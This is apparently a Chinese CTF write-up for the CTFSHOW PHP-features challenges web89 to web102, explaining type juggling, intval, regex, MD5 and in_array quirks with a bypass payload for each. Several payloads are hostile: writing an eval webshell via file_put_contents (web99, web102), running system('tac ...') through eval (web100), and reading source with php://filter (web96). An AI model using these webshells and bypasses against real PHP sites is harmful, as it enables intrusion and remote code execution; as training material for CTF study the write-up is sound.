CTFSHOW-PHP特性
Posted _Monica_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW-PHP特性相关的知识,希望对你有一定的参考价值。
WEB89
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
知识点:
数组绕过正则表达式
preg_match()返回
pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject
直到到达结尾。 如果发生错误preg_match()返回false
。preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错,从而返回false,达到我们的目的。
2、intval()
获取变量的整数值
只有value
是一个字符串时,base
才会起作用。通过使用指定的进制
base
转换(默认是十进制),成功时返回value
的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。 intval() 不能用于 object,否则会产生E_NOTICE
错误并返回 1。intval()函数,如果$base为0,则$var中存在字母的话遇到字母就停止
方法:
payload:?num[]=1
WEB90
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
知识点:
1、
==只比较值是否相等,比如'1'==1是相等的(弱比较),在进行数值的比较时会进行进制的转换,如16==0x10是正确的,而16==‘0x10’是不对的,后面的‘0x10’转换为数字是等于0,16==‘16.0’是正确的,16==‘16.1’是错误的。
=是赋值,比如:$a=2;$a=$q;这时你无论echo $a还是echo $q都会输出2,
全等===,既比较类型又比较字符串大小的,例如:1===1是相等的,"1"===1是不相等的;进行数值的比较时不会进行进制的转换,如'16'==='0x10'是错误的。即等式左右一模一样
2、字符串转换为数值
因为我们提交的参数值默认就是字符串类型 ,所以base会起作用,传参一个数既要使其不强等于4476,又要使得intval函数处理后的结果强等于4476
所以,payload:
?num=4476a
intval(‘4476a’)只读取4476从而转化为4476
其他payload:
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
其他问题:
<?php
$a=$_GET['1'];
$b=$_GET[2];
$c=$_POST['3'];
$d=$_POST[4];
var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
?>
//里面的一般默认加引号,数字可以不用区别,但是字符串需要不然会报错但是不影响运行
例如
Warning: Use of undefined constant b - assumed 'b' (this will throw an Error in a future version of PHP) in /Applications/phpstudy/WWW/test.php on line 5
string(3) "xxx" string(3) "aaa" string(3) "yyy" string(3) "bbb"
从下图可以看到,POST和GET传参都是为字符串类型
WEB91
题目:
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
知识点:
1、正则匹配
修饰符:
i ignore - 不区分大小写 将匹配设置为不区分大小写,搜索时不区分大小写: A 和 a 没有区别。
m multi line - 多行匹配 使边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1 元字符:
^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\\n' 或 '\\r' 之后的位置。
$ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\\n' 或 '\\r' 之前的位置。
在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配(加了m),那么每一行都有一个^和结尾$。
^php 意思为以php开头
php$ 意思是以php结尾
^php$ 意思是以php开头并以php结尾
方法:
payload:?num=%0aphp
%0aphp即换行+php:
'
php'
经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
WEB92
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
方法:
用4476a是无法绕过第六行的,弱比较下两者直接相等
可以利用16进制、8进制、小数点过滤,做法类似web90
payload:?num=4476.1(小数点位只要不是0就行)
因为是弱比较,4476==‘4476.0’是正确的,4476==‘4476.1’是错误的
方法2:
e这个字母比较特殊,在PHP中会被当作科学计数法。这是PHP在处理字符串时的一个缺陷
所以为了绕过第5行:==4476,我们就可以构造4476e123,被认为是科学计数法,值是:4476×10^123
第8行intval()函数处理时遇到字母就停止,所以只读取4476而不是4476e123,从而绕过
WEB93
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
方法:
过滤了字母,用8进制、小数点
WEB94
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
知识点:
1、strpos()
strpos() 函数对大小写敏感。
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。同时如果没有找到字符串会 FALSE。
同时注意字符串位置是从0开始,而不是从1开始的。
分析:
比上一关增加条件,strpos函数限制了传参第一位不能为0,如果为0,就die.
但是如果找不到的0话也会die。因为是强等于符合,所以payload可以为:
我们可以在八进制前加一个空格
?num= 010574
或者用小数点
?num=4476.0
或者再加个 +
?num=+4476.0
WEB95
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
分析:过滤了点
过滤了点,使用八进制
根据定义,这题的$num参数中必须满足这几点:
1. 值不能是4476
2. 不能含有字母
3. 值中必须有0,但第一个数字不能是0
4. intval($num,0)===4476
5. 不能有小数点
通过换行符%0a 、空格符%20结合八进制绕过
方法:
payload:
?num= 010574 //注意开头的空格
?num=%0a010574
?num=%20010574
?num=+010574
?num=%09010574
?num=%2b010574 (%2b是+的url编码)
intval 会对以+或空格开头数字当作正数处理
WEB96
题目:
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
知识点:
在linux下面表示当前目录是 ./
payload:
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
php://filter/read=convert.base64-encode/resource=flag.php
随便输入一个文件
发现了路径,所以还可以用绝对路径来显示这个文件。
payload:?u = /var/www/html/flag.php
WEB97
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
知识点:
php中hash比较缺陷
这里用的是强比较,所以利用MD5加密后为0e开头的字符串做法是不行的
方法1:数组
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
payload:a[]=1&b[]=2
方法2:
不利用数组,而是使用md5加密后数据一致但原始数据不同的两个字符串。原理是将hex字符串转化为ascii字符串,并写入到bin文件
考虑到要将一些不可见字符传到服务器,这里使用url编码
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
(这里用HackBar不能出结果,需用burpsuit)
拓展
md5弱比较,使用了强制类型转换后不再接收数组
$a=$_POST['a'];
$b=$_POST['b'];
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
WEB98
题目:
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
知识点:
&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容
分析:
考察点:三目运算符的理解+变量覆盖
$_GET?$_GET=&$_POST:'flag';意思:如果有GET方法传参,就将$_POST变量的地址赋值给$_GET,也就是说GET传入的值等于POST传入的值,也可以说将GET方法与POST方法等同。那么就可以用post覆盖get中的值。
中间两行意义不大,因为我们GET不提交 flag 参数
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)显示当前页面
方法:
GET:1=1
POST:HTTP_FLAG=flag
WEB99
题目:
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
知识点:
array_push 将一个或多个单元压入数组的末尾(入栈)
in_array (needle,haystack,strict) 检查数组中是否存在某个值
在大海(haystack)中搜索针( needle),如果找到 needle 则返回 true,否则返回 false。
如果第三个参数
strict
的值为true
则 in_array() 函数还会检查needle
的类型是否和haystack
中的相同。如果needle
是字符串,则比较是区分大小写的。in_array()函数有缺陷,若没有设置第三个参数,则存在弱比较(类比==)
$allow = array(1,'2','3'); $allow = array('1','2','3');
var_dump(in_array('1.php',$allow)); var_dump(in_array('1.php',$allow));
返回的为true 返回false
分析:
rand()函数每次都从1开始,有1的概率是非常大的,所以选择1.php
传入n=1.php。因为PHP在使用 in_array()函数判断时,会将 1.php强制转换成数字1,,而数字1在 range(1,24)数组中,当随机生成的数字正好有1时绕过 in_array()函数判断,此外通过file_put_contents()将php代码写入这个1.php文件中,导致任意文件上传漏洞。
payload:
GET:?n=1.php
POST:content=<?php eval($_POST[1]);?> #写入一句话
多试几次,直到不报错的那一次,说明成功传入一句话。
然后访问https://url/1.php,RCE即可
WEB100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\;/", $v2)){
if(preg_match("/\\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
知识点:
1、 is_numeric 检测变量是否为数字或数字字符串
2、PHP中and、&&、or、||与=的优先级区别
优先级:
&& > || > = > and > or
<?php $test1 = true && false; $test2 = true and false; $test3 = true || false; $test4 = true or false; var_dump($test1); var_dump($test2); var_dump($test3); var_dump($test4); ?> //结果:bool(false) bool(true) bool(true) bool(true)
因为运算符的优先级为&&>||>=>and>or
所以在执行第二行时,会先将true赋值给$test2,再与false进行and运算。
而第一行代码会先进行&&运算,然后将运算的结果false,赋值给$test1。
同理:第四行会先将true赋值给$test4,然后再与false进行or运算;
而第三行会先进行||运算,然后将运算的结果true赋值给$test3.
分析:
第一部分
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
所以只要保证v1是数字就可以使得v0为true,从而进入if中;v2里面不能有分号v3里面要有分号
方法1:
payload:?v1=1&v2=system('tac ctfshow.php')&v3=;
方法2:
使用反射类直接输出class ctfshow的信息
payload:?v1=1&v2=echo new ReflectionClass&v3=;
方法3:
因为flag在ctfhsow这个类中,所以我们可以构造出var_dump($ctfshow);
payload:?v1=1&v2=var_dump($ctfshow)&v3=;
得到 flag_is_bde4fb430x2d62590x2d404f0x2dbaa30x2da2d6bd94ed98
把ox2d换成-,再套上flag{}即可
反射类的学习
<?php class A{ public static $flag="flag{123123123}"; const PI=3.14; static function hello(){ echo "hello</br>"; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" } var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }
WEB101
在web100的基础上过滤了很多东西,那么就只有用反射类了
payload:?v1=1&v2=echo new ReflectionClass&v3=;
发现flag最后少了一位,那么就1位1位的试
WEB102
题目:
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
知识点:
substr() 返回字符串的子串
call_user_func() 第一个参数
callback
是被调用的回调函数名,其余参数是回调函数的参数file_put_contents() 将数据写入文件,这个数据可以是一个数据流
hex2bin 转换十六进制字符串为二进制字符串(即ascii码)
分析:
$v2是写入文件的一个数字字符串,$v1是一个将数字转换为字符串的函数,$v3是一个文件名,这个文件名可以用php://filter来控制
方法:
文件内容不好控制,但是可以利用伪协议将内容进行编码转换。所以如果能找到一条php语句经过base64编码,在转换为16进制之后如果全部都是数字不就可以通过了吗?
也就是说
$a="xxx";
$b=base64_encode($a);
$c=bin2hex($b);
如果$c全部都是纯数字就可以了。
payload:
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出$c=5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
同时因为经过substr处理,所以v2前面还要补两位任意数字,这里使用00
最终payload:
GET:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin
拓展:
该题环境没有设置好用的是php7,但是is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的。
var_dump(is_numeric("0x66"));
php5的环境下返回true php7返回false
之后经过截断我们就得到了16进制,而且是不带0x的,这时候就可以通过调用函数hex2bin将16进制转换成字符串从而写入木马文件。(hex2bin如果参数带0x会报错)
具体做法:
首先将我们的一句话编码成16进制
<?php eval($_POST[1]);?>
得到3c3f706870206576616c28245f504f53545b315d293b3f3e
因为有substr从第三位开始截取,加上16进制前面需要加上0x,所以刚好合适
接着直接传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
本地测试成功写入木马。
持续更新:
以上是关于CTFSHOW-PHP特性的主要内容,如果未能解决你的问题,请参考以下文章
译ECMAScript 2016, 2017, 2018 新特性之必读篇